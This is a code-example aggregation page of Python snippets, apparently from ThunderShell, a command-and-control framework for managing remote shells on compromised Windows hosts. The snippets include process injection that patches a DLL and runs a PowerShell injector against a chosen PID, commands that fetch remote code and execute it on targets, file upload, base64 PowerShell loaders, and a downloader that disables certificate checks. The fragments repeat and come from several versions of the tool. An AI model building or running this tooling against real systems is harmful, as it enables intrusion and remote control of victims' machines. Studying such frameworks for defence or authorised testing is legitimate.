Пример #1
0
 def view_event(self, data):
     log_path = Utils.get_arg_at(data, 1, 2)
     if log_path == "":
         UI.error("Missing arguments")
         return 
 
     log_path += ".log"
     
     rows = Utils.get_arg_at(data, 2, 2)
     if rows == "":
         rows = 10
     else:
         try:
             rows = int(rows)
         except:
             rows = 10
             
     log_path = Log.get_current_path(log_path)
     
     data = []
     
     if Utils.file_exists(log_path):
         for line in open(log_path, "rb").readlines():
             data.append(line)
         
         print "\nLast %d lines of log\n-----------------------\n" % rows    
         data = list(reversed(data))
         
         for i in range(0, rows):
             try:
                 print data[i]
             except:
                 pass
Пример #2
0
def start_gui(config):
    prefix = "http://"

    try:
        port = int(config.get("gui-port"))
    except:
        UI.error("(gui-port) GUI HTTP port need to be a integer.", True)

    if config.get("https-enabled") == "on":
        prefix = "https://"

    web_config = {}
    web_config["server"] = "%s%s:%s" % (prefix, config.get("http-host"),
                                        config.get("http-port"))
    web_config["version"] = version
    app.init(config, web_config)
    path = "%s/logs/%s" % (os.getcwd(), str(time.strftime("%d-%m-%Y")))
    gui_log = "%s/gui.log" % path

    if not os.path.exists(path):
        os.makedirs(path)

    fd = os.open(gui_log, os.O_RDWR | os.O_CREAT)
    fd2 = 2
    websocket.run(app,
                  host=config.get("gui-host"),
                  port=port,
                  log_output=os.dup2(fd, fd2))
Пример #3
0
 def read_file(self, data):
     try:
         cmd, path = data.split(" ", 2)
         return "Get-Content %s" % path
     except:
         UI.error("Missing arguments")
         return ""
Пример #4
0
 def parse_cmd(self, data):
     cmd = data.split(' ', 1)[0].lower()
     if not self.guid == '':
         if cmd == 'background':
             self._prompt = 'Main'
             self.db.remove_active_user(self.config.get('uid'), self.guid)
             self.guid = ''
         elif cmd == 'exit':
             UI.error('*** You really want to kill this shell *** (yes/no)')
             if UI.prompt('Exit').lower() == 'yes':
                 self.db.push_cmd(self.guid, 'exit', Utils.guid(),
                                  self.config.get('username'))
                 self._prompt = 'Main'
                 self.guid = ''
         else:
             self.db.append_shell_data(
                 self.guid, '[%s] %s Sending: \n%s\n\n' %
                 (Utils.timestamp(), self.config.get('username'), data))
             Log.log_shell(self.guid, 'Sending', data,
                           self.config.get('username'))
             if self.shell_cmds.has_key(cmd):
                 callback = self.shell_cmds[cmd]
                 data = callback(data)
             if not (cmd == 'help' or data == ''):
                 self.db.push_cmd(self.guid, data, Utils.guid(),
                                  self.config.get('username'))
     else:
         # interacting with the main console
         if self.cmds.has_key(cmd):
             callback = self.cmds[cmd]
             callback(data)
         elif not cmd.strip() == '':
             UI.error('%s is not a valid command' % cmd)
Пример #5
0
 def read_file(self, data):
     try:
         (cmd, path) = data.split(' ', 2)
         return 'Get-Content %s' % path
     except:
         UI.error('Missing arguments')
         return ''
Пример #6
0
    def file_exists(path, die=False, show_error=True):
        if os.path.exists(path):
            return True

        if show_error:
            UI.error("%s not found" % path, die)
        return False
Пример #7
0
 def get_cmd_output(self, guid):
     for item in self.sql.get_cmd_response(self.config.get('uid')):
         print ''
         UI.warn('Command output:\n%s' % self.redis.get_output(item[0], item[1])[0])
         self.sql.delete_response(item[0], item[2], item[1], item[3])
         guid = item[0]
     return guid
Пример #8
0
def start_httpd(config):
    ip = config.get("http-host")
    try:
        port = int(config.get("http-port"))
    except:
        UI.error("(http-port) HTTP port need to be a integer.", True)

    UI.warn("Starting web server on %s port %d" % (ip, port))
    try:
        server_class = http.server.HTTPServer
        if ":" in config.get("http-host"):
            UI.warn("IPv6 detected")
            server_class = HTTPServerIPv6
        factory = HTTPDFactory(config)
        httpd_server = server_class((ip, port), factory)
        if config.get("https-enabled") == "on":
            cert = config.get("https-cert-path")
            Utils.file_exists(cert, True)

            httpd_server.socket = ssl.wrap_socket(httpd_server.socket,
                                                  certfile=cert)
            UI.warn("Web server is using HTTPS")

        httpd_server.serve_forever()

    except Exception as e:
        print(sys.exc_info()[1])
        UI.error(
            "Server was not able to start (Port already in use?)... Aborting",
            True)
Пример #9
0
 def read_file(self, data):
     try:
         cmd, path = data.split(" ", 2)
         return "Get-Content %s" % path
     except:
         UI.error("Missing arguments")
         return ""
Пример #10
0
 def file_exists(path, die=False, show_error=True):
     if os.path.exists(path):
         return True
     
     if show_error:
         UI.error("%s not found" % path, die)
     return False
Пример #11
0
 def view_event(self, data):
     log_path = Utils.get_arg_at(data, 1, 2)
     if log_path == "":
         UI.error("Missing arguments")
         return 
 
     log_path += ".log"
     
     rows = Utils.get_arg_at(data, 2, 2)
     if rows == "":
         rows = 10
     else:
         try:
             rows = int(rows)
         except:
             rows = 10
             
     log_path = Log.get_current_path(log_path)
     
     data = []
     
     if Utils.file_exists(log_path):
         for line in open(log_path, "rb").readlines():
             data.append(line)
         
         print("\nLast %d lines of log\n----------------------\n" % rows)    
         data = list(data)
         
         for i in range(0, rows):
             try:
                 print data[i]
             except:
                 pass
Пример #12
0
 def flushdb(self, data):
     force = Utils.get_arg_at(data, 1, 1)
     if force:
         self.db.flushdb()
         UI.error("The whole redis DB was flushed")
     else:
         UI.error("Please use the force switch")
Пример #13
0
    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower() 
        
        # interacting with a shell
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.guid = ""
            
            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit")
                    self._prompt = "Main"
                    self.guid = ""
            else:
                Log.log_shell(self.guid, "Sending", data)
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)

                if not (cmd == "help" or data == ""):
                    self.db.push_cmd(self.guid, data)
                    self.get_cmd_output()
                
        # interacting with the main console
        else:
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            else:
                UI.error("%s is not a valid command" % cmd)
Пример #14
0
    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower()
        
        # interacting with a shell
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.guid = ""
            
            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit")
                    self._prompt = "Main"
                    self.guid = ""
            else:
                Log.log_shell(self.guid, "Sending", data)
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)

                if not (cmd == "help" or data == ""):
                    self.db.push_cmd(self.guid, data)
                    self.get_cmd_output()
                
        # interacting with the main console
        else:
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            else:
                UI.error("%s is not a valid command" % cmd)
Пример #15
0
    def inject(self, data):
        archs = ["32", "64"]
        try:
            option, arch, pid, cmd = data.split(" ", 3)
        except:
            UI.error("Missing arguments")
            return ""

        if len(cmd) > 4096:
            UI.error("Your command is bigger than 4096 bytes")
            return ""

        if not arch in archs:
            UI.error("Invalid architecture provided (32/64)")
            return ""

        dll = Utils.load_file("bin/inject-%s.dll" % arch)
        dll = dll.replace("A" * 4096, cmd + "\x00" * (4096 - len(cmd)))

        ps = Utils.load_powershell_script("injector.ps1", 1)
        ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(dll))
        ps = Utils.update_key(ps, "PID", pid)
        UI.success("Injecting %s" % cmd)
        UI.success("Into %s bits process with PID %s" % (arch, pid))

        return ps
Пример #16
0
def start_flask(config, cli):
    prefix = "http://"

    if config.get("gui-https-enabled") == "on":
        prefix = "https://"

    UI.warn("Web GUI Started: %s%s:%s" %
            (prefix, config.get("gui-host"), config.get("gui-port")))
    UI.warn("Web GUI Password: %s" % config.get("server-password"))

    app.init(config, cli)
    try:
        if config.get("gui-https-enabled") == "on":
            cert = config.get("gui-https-cert-path")
            Utils.file_exists(cert, True)
            server = WSGIServer(
                (config.get("gui-host"), int(config.get("gui-port"))),
                app,
                log=None,
                keyfile=cert,
                certfile=cert)
        else:
            server = WSGIServer(
                (config.get("gui-host"), int(config.get("gui-port"))),
                app,
                log=None)

        server.serve_forever()
    except:
        pass
Пример #17
0
    def install_db(self):
        cursor = self.conn.cursor()
        cursor.execute(
            "SELECT 1 FROM information_schema.tables WHERE table_schema = 'thundershell' AND table_name = 'active_session'"
        )

        if cursor.rowcount == 0:
            UI.error("Creating MySQL tables for first time use")
            cursor.execute("CREATE DATABASE thundershell")
            cursor.execute(
                "CREATE TABLE thundershell.active_session (uid varchar(36), shell varchar(16))"
            )
            cursor.execute(
                "CREATE TABLE thundershell.shell_cmd (shell varchar(16), guid varchar(36), uid varchar(36), timestamp int, origin varchar(50))"
            )
            cursor.execute(
                "CREATE TABLE thundershell.shell_response (shell varchar(16), guid varchar(36), uid varchar(36), timestamp int)"
            )
            cursor.execute(
                "CREATE TABLE thundershell.shell_cmd_data(guid varchar(36), data longtext)"
            )
            self.conn.commit()

        cursor.close()
        return self
Пример #18
0
 def parse_cmd(self, data):
     cmd = data.split(" ", 1)[0].lower()
     if not self.guid == "":
         if cmd == "background":
             self._prompt = "Main"
             self.db.remove_active_user(self.config.get("uid"), self.guid)
             self.guid = ""
         elif cmd == "exit":
             UI.error("*** You really want to kill this shell *** (yes/no)")
             if UI.prompt("Exit").lower() == "yes":
                 self.db.push_cmd(self.guid, "exit", Utils.guid(), self.config.get("username"))
                 self._prompt = "Main"
                 self.guid = ""
         else:
             self.db.append_shell_data(self.guid, "[%s] %s - Sending command: \n%s\n\n" % (Utils.timestamp(), self.config.get("username"), data))
             Log.log_shell(self.guid, "- Sending command", data, self.config.get("username"))
             if cmd in self.shell_cmds:
                 callback = self.shell_cmds[cmd]
                 data = callback(data)
             if not (cmd == "help" or data == ""):
                 self.db.push_cmd(self.guid, data, Utils.guid(),self.config.get("username"))
     else:
     # interacting with the main console
         if cmd in self.cmds:
             callback = self.cmds[cmd]
             callback(data)
         elif not cmd.strip() == "":
             UI.error("%s is not a valid command" % cmd)
Пример #19
0
    def get_autocommands(self, guid):
	profile = self.config.get("profile")
	commands = profile.get("autocommands")
	if isinstance(commands, list):
		UI.success("Running auto commands on shell %s" % guid)
		for command in commands:
			print "[+] %s" % command
			self.db.push_cmd(guid, command, Utils.guid(), self.config.get("username"))
Пример #20
0
 def check_dependencies():
     try:
         from tabulate import tabulate
         import redis
         import MySQLdb
     except:
         UI.error("Missing dependencies", False)
         Utils.install_dependencies()
Пример #21
0
 def register(self, guid, data):
     cmd, guid, prompt = data.split(" ", 2)
     self.db.set_prompt(guid, prompt)
     index = self.db.get_id(guid)
     print ""
     UI.success("Registering new shell %s" % prompt)
     UI.success("New shell ID %s GUID is %s" % (index, guid))
     Log.log_event("New Shell", data)
Пример #22
0
 def register(self, guid, data):
     cmd, guid, prompt = data.split(" ", 2)
     self.db.set_prompt(guid, prompt)
     index = self.db.get_id(guid)
     print ""
     UI.success("Registering new shell %s" % prompt)
     UI.success("New shell ID %s GUID is %s" % (index, guid))
     Log.log_event("New Shell", data)
Пример #23
0
 def get_cmd_output(self, guid):
     for item in self.redis.get_active_cli_session_output(self.config.get('uid')):
         print('\n')
         data = self.redis.get_data(item)
         guid = item.split(":")[2]
         UI.warn('Command output:\n%s' % data)
         self.redis.delete_entry(item)
     return guid
Пример #24
0
 def init_redis(self):
     try:
         self.conn = redis.StrictRedis(host=self.config.get('redis-host'),
                                       port=int(
                                           self.config.get('redis-port')),
                                       db=0)
         self.set_last_id()
     except:
         UI.error('Failed to connect to the redis instance', True)
Пример #25
0
 def gen_encryption_key(self):
     install = Utils.file_exists(CONFIG.DEFAULT_INSTALL_PATH, False)
     if not install:
         UI.warn("Generating new keys")
         self.set("encryption-key", Utils.gen_str(24))
         self.set("server-password", Utils.gen_str(32))
         open(CONFIG.DEFAULT_INSTALL_PATH, "w").write("OK")
         self.save_config()
         self.reload = True
Пример #26
0
 def check_dependencies():
     try:
         from tabulate import tabulate
         import redis
         import MySQLdb
     except:
         UI.error(
             "Missing depencies. Install (python-redis, python-tabulate, python-mysqldb)",
             True)
Пример #27
0
 def set_alias(self, data):
     try:
         (cmd, key, value) = data.split(" ", 2)
     except:
         UI.error("Missing arguments")
         return ""
     self.alias.set_custom(key, value)
     UI.success("%s is now set to %s" % (key, value))
     return ""
Пример #28
0
 def check_dependencies():
     try:
         from tabulate import tabulate
         from flask_socketio import SocketIO
         import flask
         import redis
     except:
         UI.error('Missing dependencies', False)
         Utils.install_dependencies()
Пример #29
0
 def set_alias(self, data):
     try:
         (cmd, key, value) = data.split(' ', 2)
     except:
         UI.error('Missing arguments')
         return ''
     self.alias.set_custom(key, value)
     UI.success('%s is now set to %s' % (key, value))
     return ''
Пример #30
0
 def os_shell(self, data):
     cmd = Utils.get_arg_at(data, 1, 1)
     print("""Executing: %s\n----------------------""" % cmd)
     try:
         output = subprocess.check_output(cmd,stderr=subprocess.PIPE, shell=True)
     except:
         UI.error("Command failed to execute properly")
         output = ""
     print(output)
Пример #31
0
 def gen_encryption_key(self):
     install = Utils.file_exists(CONFIG.DEFAULT_INSTALL_PATH, False)
     if not install:
         UI.warn('Generating new keys')
         self.set('encryption-key', Utils.gen_str(24))
         self.set('server-password', Utils.gen_str(32))
         open(CONFIG.DEFAULT_INSTALL_PATH, 'wb').write('OK')
         self.save_config()
         self.reload = True
Пример #32
0
 def powerless(self, data):
     try:
         cmd, ps_cmd = data.split(" ", 1)
     except:
         UI.error("Missing arguments")
         return ""
            
     ps = Utils.load_powershell_script("powerless.ps1", 22)
     ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd))
     return ps
Пример #33
0
 def check_dependencies():
     try:
         from tabulate import tabulate
         from flask_socketio import SocketIO
         import flask
         import redis
     except Exception as e:
         print(e)
         UI.error("Missing dependencies", False)
         Utils.install_dependencies()
Пример #34
0
 def get_cmd_output(self, guid):
     for item in self.redis.get_active_cli_session_output(
             self.config.get("uid")):
         print("\n")
         item = item.decode()
         data = self.redis.get_data(item).decode()
         guid = item.split(":")[2]
         UI.warn("Command output:\n%s" % data)
         self.redis.delete_entry(item)
     return guid
Пример #35
0
 def powerless(self, data):
     try:
         cmd, ps_cmd = data.split(" ", 1)
     except:
         UI.error("Missing arguments")
         return ""
            
     ps = Utils.load_powershell_script("powerless.ps1", 22)
     ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd))
     return ps
Пример #36
0
 def init_mysql(self):
     try:
         self.conn = MySQLdb.connect(host=self.config.get('mysql-host'),
                                     port=int(
                                         self.config.get('mysql-port')),
                                     user=self.config.get('mysql-user'),
                                     passwd=self.config.get('mysql-pass'))
         self.conn.autocommit(True)
     except:
         UI.error('Failed to connect to the MySQL instance', True)
Пример #37
0
 def set_alias(self, data):
     try:
          cmd, key, value = data.split(" ", 2)
     except:
         UI.error("Missing arguments")
         return ""    
     
     self.alias.set_custom(key, value)
     UI.success("%s is now set to %s" % (key, value))
        
     return ""
Пример #38
0
 def interact(self, data):
     current_id = Utils.get_arg_at(data, 1, 2)
     guid = ""
     for shell in self.db.get_all_shell_id():
         id = self.db.get_data(shell)
         if current_id == id:
             guid = shell.split(":")[0]
             break
         
     if not guid == "":
         self.guid = guid
         self._prompt = self.db.get_data("%s:prompt" % guid)
     else:
         UI.error("Invalid session ID")
Пример #39
0
 def kill_shell(self, data):
     current_id = Utils.get_arg_at(data, 1, 2)
     guid = ""
     for shell in self.db.get_all_shell_id():
         id = self.db.get_data(shell)
         if current_id == id:
             guid = shell.split(":")[0]
             break
         
     if not guid == "":
         self.db.delete_all_by_guid(guid)
         print "Deleting shell with ID %s" % current_id
     else:
         UI.error("Invalid session ID")
Пример #40
0
 def upload_file(self, data):
     try:
         cmd, path, remote = data.split(" ", 2)
     except:
         UI.error("Missing arguments")
         return ""
     
     data = ";"
     path = self.alias.get_alias(path)
     if Utils.file_exists(path, False, False):
         data = Utils.load_file_unsafe(path)
     else:
         data = Utils.download_url(path)     
         
     if not data == ";":
         UI.success("Fetching %s" % path)
         
         data = base64.b64encode(data)
         ps = Utils.load_powershell_script("upload.ps1", 3)
         ps = Utils.update_key(ps, "PAYLOAD", data)
         ps = Utils.update_key(ps, "PATH", remote)
         UI.success("Payload will be saved at %s" % path)
         return ps
     else:
         UI.error("Cannot fetch the resource")
         return data
Пример #41
0
 def exec_code(self, data):
     try:
         cmd, path = data.split(" ", 1)
     except:
         UI.error("Missing arguments")
         return ""
     
     data = ";"
     path = self.alias.get_alias(path)
     if Utils.file_exists(path, False, False):
         data = Utils.load_file_unsafe(path)
     else:
         data = Utils.download_url(path)     
         
     if not data == ";":
         UI.success("Fetching %s" % path)
         
         data = base64.b64encode(data)
         ps = Utils.load_powershell_script("exec.ps1", 12)
         ps = Utils.update_key(ps, "PAYLOAD", data)
         UI.success("Payload should be executed shortly on the target")
         return ps
     else:
         UI.error("Cannot fetch the resource")
         return data
Пример #42
0
 def download_url(path):
     request = urllib2.Request(path)
     request.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0")
     
     # Accept invalid cert
     context = ssl.create_default_context()
     context.check_hostname = False
     context.verify_mode = ssl.CERT_NONE
     
     data = ""
     try:
         data = urllib2.urlopen(request, context=context).read()
     except:
         UI.error("Failed to fetch %s" % path)
     
     return data
Пример #43
0
def start_httpd(config):
    ip = config.get("http-host")
    port = int(config.get("http-port"))
    
    UI.success("Starting web server on %s port %d" % (ip, port))
    
    server_class = BaseHTTPServer.HTTPServer
    factory = HTTPDFactory(config)
    httpd_server = server_class((ip, port), factory)
    if config.get("https-enabled") == "on":
        cert = config.get("https-cert-path")
        Utils.file_exists(cert, True)
        
        httpd_server.socket = ssl.wrap_socket(httpd_server.socket, certfile=cert)
        UI.success("Web server is using HTTPS")
        
    httpd_server.serve_forever()
Пример #44
0
  def inject(self, data):
      try:
          option, pid, cmd = data.split(" ", 2)
      except:
          UI.error("Missing arguments")
          return ""
 
      ps = Utils.load_powershell_script("injector.ps1", 1)
      ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd))
      ps = Utils.update_key(ps, "PID", pid)
      UI.success("Injecting %s" % cmd)
      UI.success("Into process with PID %s" % pid)
      return ps
Пример #45
0
 def fetch(self, data):
     try:
         cmd, path, ps = data.split(" ", 2)
     except:
         UI.error("Missing arguments")
         return ""
     
     data = ";"
     path = self.alias.get_alias(path)
     if Utils.file_exists(path, False, False):
         data = Utils.load_file_unsafe(path)
     else:
         data = Utils.download_url(path)
         
     if not data == ";":
         UI.success("Fetching %s" % path)
         UI.success("Executing %s" % ps)
     
         return "%s;%s" % (data, ps)
     else:
         UI.error("Cannot fetch the resource")
         return ""
Пример #46
0
 def init_redis(self):
     try:
         self.conn = redis.StrictRedis(host=self.config.get("redis-host"), port=int(self.config.get("redis-port")), db=0)
         self.set_last_id()
     except:
         UI.error("Failed to connect to the redis instance", True)
Пример #47
0
 def parse_config(self):
     try:
         self.configs = json.loads(Utils.load_file(self.path, True))
     except:
         UI.error("%s configuration file is not valid" % self.path, True)
Пример #48
0
 def prompt(self):
     return UI.prompt(self._prompt)
Пример #49
0
"""
    @author: Mr.Un1k0d3r RingZer0 Team
    @package: launch
"""
import os
import sys
from core.config import CONFIG
from core.redisquery import RedisQuery
from core.httpd import init_httpd_thread
from core.cli import Cli
from core.ui import UI

if __name__ == "__main__":
    UI.banner()
    
    if len(sys.argv) < 2:
        UI.error("Missing configuration file path\n\nUsage: %s config (optional -nohttpd)" % sys.argv[0], True)
        
    config = CONFIG(sys.argv[1])
    db = RedisQuery(config)
    config.set("redis", db)
    
    
    # Launch the HTTPD daemon
    if not "-nohttpd" in sys.argv:
        httpd_thread = init_httpd_thread(config)
    
    cli = Cli(config)
    
    while True:
        try: